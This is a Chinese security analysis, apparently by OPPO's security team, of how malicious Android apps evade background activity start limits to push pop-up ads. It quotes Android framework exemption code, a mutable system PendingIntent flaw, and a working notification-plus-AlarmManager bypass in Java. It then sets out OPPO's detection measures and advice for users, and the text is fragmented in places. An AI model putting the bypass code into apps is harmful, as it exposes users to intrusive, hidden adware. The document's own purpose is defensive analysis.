手机频繁弹出广告,已经成为不少安卓用户的烦恼。这些粗制滥造的广告,通常在用户正常使用手机时弹出,霸占锁屏,占据桌面,覆盖正常使用的应用程序,甚至严重影响用户对手机的正常使用。
图 形形色色的后台弹窗广告
rameworks/base/services/core/java/com/android/server/wm/ActivityStarter.java
的
shouldAbortBackgroundActivityStart
函数中,该函数先是对调用app进行一些判断,如果满足条件,则直接允许后台弹窗。这里以Android 12代码为例,列觉一些重要条件:
-
对最重要的ROOT_UID、SYSTEM_UID、NFC_UID允许后台弹窗
if (callingUid == Process.ROOT_UID || callingAppId == Process.SYSTEM_UID
|| callingAppId == Process.NFC_UID) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed for important callingUid (" + callingUid + ")");
}
return false;
}
-
对当前默认桌面应用Home App允许后台弹窗
// Always allow home application to start activities.
if (isHomeApp(callingUid, callingPackage)) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed for home app callingUid (" + callingUid + ")");
}
return false;
}
-
对当前的输入法应用允许后台弹窗
// IME should always be allowed to start activity, like IME settings.
final WindowState imeWindow = mRootWindowContainer.getCurrentInputMethodWindow();
if (imeWindow != null && callingAppId == imeWindow.mOwnerUid) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed for active ime (" + callingUid + ")");
}
return false;
}
-
有可见窗体时,可以后台弹窗;动态墙纸即使没有可见窗体,也允许后台弹窗
// Normal apps with visible app window will be allowed to start activity if app switching
// is allowed, or apps like live wallpaper with non app visible window will be allowed.
if (((appSwitchAllowed || mService.mActiveUids.hasNonAppVisibleWindow(callingUid))
&& callingUidHasAnyVisibleWindow)
|| isCallingUidPersistentSystemProcess) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: callingUidHasAnyVisibleWindow = " + callingUid
+ ", isCallingUidPersistentSystemProcess = "
+ isCallingUidPersistentSystemProcess);
}
return false;
-
通过PendingIntent启动时,如果调用者(realCallingUid)可见,也允许后台弹窗
if (realCallingUidHasAnyVisibleWindow) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: realCallingUid (" + realCallingUid
+ ") has visible (non-toast) window");
}
return false;
}
-
如果realCallingUid是常驻系统应用,且由通知触发(此时的PendingIntent将携带后台启动token, allowBackgroundActivityStart
为true),则允许后台启动。
// if the realCallingUid is a persistent system process, abort if the IntentSender
// wasn't allowed to start an activity
if (isRealCallingUidPersistentSystemProcess && allowBackgroundActivityStart) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: realCallingUid (" + realCallingUid
+ ") is persistent system process AND intent sender allowed "
+ "(allowBackgroundActivityStart = true)");
}
return false;
}
-
允许具有悬浮窗权限SYSTEM_ALERT_WINDOW的APP后台启动
// don't abort if the callingUid has SYSTEM_ALERT_WINDOW permission
if (mService.hasSystemAlertWindowPermission(callingUid, callingPid, callingPackage)) {
Slog.w(TAG, "Background activity start for " + callingPackage
+ " allowed because SYSTEM_ALERT_WINDOW permission is granted.");
return false;
}
shouldAbortBackgroundActivityStart
函数会进入另一层判断逻辑,位于 frameworks/base/services/core/java/com/android/server/wm/BackgroundLaunchProcessController.java
中的areBackgroundActivityStartsAllowed
函数,这个函数做的一些判断包括:-
允许前台任务栈存在Activity的App后台启动
// Allow if the caller has an activity in any foreground task.
if (appSwitchAllowed && hasActivityInVisibleTask) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "[Process(" + pid
+ ")] Activity start allowed: process has activity in foreground task");
}
return true;
}
-
允许被前台应用bind 服务的App的后台启动
// Allow if the caller is bound by a UID that's currently foreground.
if (isBoundByForegroundUid()) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "[Process(" + pid
+ ")] Activity start allowed: process bound by foreground uid");
}
return true;
}
-
允许已设置后台启动token的App后台启动
// Allow if the flag was explicitly set.
if (isBackgroundStartAllowedByToken(uid, packageName, isCheckingForFgsStart)) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "[Process(" + pid
+ ")] Activity start allowed: process allowed by token");
}
return true;
}
shouldAbortBackgroundActivityStart
函数打印后台启动失败的日志, 返回true,拒绝后台弹窗。// anything that has fallen through would currently be aborted Slog.w(TAG, "Background activity start [callingPackage: " + callingPackage + "; callingUid: " + callingUid + "; appSwitchAllowed: " + appSwitchAllowed + "; isCallingUidForeground: " + isCallingUidForeground + "; callingUidHasAnyVisibleWindow: " + callingUidHasAnyVisibleWindow + "; callingUidProcState: " + DebugUtils.valueToString(ActivityManager.class, "PROCESS_STATE_", callingUidProcState) + "; isCallingUidPersistentSystemProcess: " + isCallingUidPersistentSystemProcess + "; realCallingUid: " + realCallingUid + "; isRealCallingUidForeground: " + isRealCallingUidForeground + "; realCallingUidHasAnyVisibleWindow: " + realCallingUidHasAnyVisibleWindow + "; realCallingUidProcState: " + DebugUtils.valueToString(ActivityManager.class, "PROCESS_STATE_", realCallingUidProcState) + "; isRealCallingUidPersistentSystemProcess: " + isRealCallingUidPersistentSystemProcess + "; originatingPendingIntent: " + originatingPendingIntent + "; allowBackgroundActivityStart: " + allowBackgroundActivityStart + "; intent: " + intent + "; callerApp: " + callerApp + "; inVisibleTask: " + (callerApp != null && callerApp.hasActivityInVisibleTask()) + "]"); return true;
InputMethodManagerService.java
中存在着不安全的PendingIntent,用于设置输入法,并没有设置FLAG_IMMUTABLE, 该系统身份的PendingIntent可以通过系统API ActivityManager.getRunningServiceControlPanel
获得。mCurIntent = new Intent(InputMethod.SERVICE_INTERFACE);
mCurIntent.setComponent(info.getComponent());
mCurIntent.putExtra(Intent.EXTRA_CLIENT_LABEL,
com.android.internal.R.string.input_method_binding_label);
mCurIntent.putExtra(Intent.EXTRA_CLIENT_INTENT, PendingIntent.getActivity(
mContext, 0, new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS), 0));
12-07 10:04:33.413 1132 3829 I ActivityTaskManager: START u0 {act=android.settings.INPUT_METHOD_SETTINGS dat=launcher://launcher pkg=com.smoothandroid.server.ctslink cmp=com.smoothandroid.server.ctslink/com.netandroid.server.ctselves.function.splash.LSplashActivity mCallingUid=1000} from uid 1000 and from pid -1
Presentation其实就是一个自定义的在非主屏上显示的Dialog,而弹窗线程就是简单的打开Activity
public void createNotify(Context context, Intent intent) {
m_pi = PendingIntent.getActivity(context, PI_REQUEST_CODE, intent, PendingIntent.FLAG_MUTABLE);
NotificationManager nmgr = (NotificationManager) context.getSystemService(NotificationManager.class);
NotificationChannel channel = new NotificationChannel("keepalive", "background", NotificationManager.IMPORTANCE_HIGH);
nmgr.createNotificationChannel(channel);
Notification.Builder builder = new Notification.Builder(context, "keepalive");
builder.setSmallIcon(R.drawable.ic_launcher_background);
builder.setContentIntent(m_pi);
nmgr.notify("hide_self", 10103, builder.build());
nmgr.cancel("hide_self", 10103);
}
PendingIntent.getActivity
调用传入的参数,跟第一步创建通知调用 PendingIntent.getActivity
的参数,完全一致。public void alarmManagerStart(Context context, Intent intent) {
// this PendingIntent is the same as the one in createNotify
PendingIntent pi = PendingIntent.getActivity(context, PI_REQUEST_CODE, intent, PendingIntent.FLAG_MUTABLE);
AlarmManager almgr = (AlarmManager) context.getSystemService(AlarmManager.class);
almgr.setExact(AlarmManager.RTC, System.currentTimeMillis() + 200L, pi);
}
$ adb shell dumpsys activity | grep -C10 PendingIntentRecord
* com.ziwu.startactivitybynotifandalarmmgr: 1 items
* com.ziwu.startactivitybynotifandalarmmgr: 1 items
#0: PendingIntentRecord{999af12 com.ziwu.startactivitybynotifandalarmmgr startActivity (allowlist: 27d0cc6:+30s0ms/0/NOTIFICATION_SERVICE/NotificationManagerService)}
同时由于AlarmManager调用导致realCallingUid为1000,因此符合下面的放行条件
// if the realCallingUid is a persistent system process, abort if the IntentSender
// wasn't allowed to start an activity
if (isRealCallingUidPersistentSystemProcess && allowBackgroundActivityStart) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: realCallingUid (" + realCallingUid
+ ") is persistent system process AND intent sender allowed "
+ "(allowBackgroundActivityStart = true)");
}
return false;
}
-
发现:关注商店评论数据,利用NLP算法自动识别出用户反馈的高可疑恶意弹窗应用; -
检测:深度分析恶意弹窗手法,自研引擎,对后台弹窗识别率高达95%以上; -
取证:构建应用运行沙箱集群,对高可疑应用进行养殖,对恶意后台弹窗进行自动取证; -
处置:对检测到的恶意后台弹窗应用高效联动处置,软件商店下架、浏览器下载拦截、手机管家提示卸载以及应用智能管控; -
打击:构建开发者知识图谱,挖掘恶意应用背后的黑灰产团伙,对恶意开发者禁止上架应用和使用法律手段进行打击;
在2023年,经智能护盾发现同步下架恶意应用519款,封禁高风险开发者130家,拦截恶意弹窗类应用10亿次, 并且应用智能管控每天拦截1500W次以上的恶意后台弹窗行为, 此类问题的客诉较去年下降80%。
-
快速生成多款“换皮”应用,形成广撒网; -
恶意应用之间进行相互推广,一旦中招就会安装多款恶意应用; -
恶意应用植入手机后隐藏图标,很难被发现; -
恶意应用进行云端控制,在特定地区触发后台弹窗行为,逃避取证;
-
使用Andoid 10及以后版本的安卓手机,及时更新补丁,这样可以防止恶意App利用安卓系统的后台弹窗漏洞进行弹广告; -
不要轻易向陌生应用开启输入法、壁纸、悬浮窗等权限,因为这些权限能够使恶意App不受限制地弹出广告; -
定期使用系统自带手机管家进行全盘扫描,及时清理病毒应用; -
定期对已安装的应用进行梳理,清理不常用或者不是主动下载的应用。
原文始发于微信公众号(OPPO安全应急响应中心):恶意App后台弹窗技术手法分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论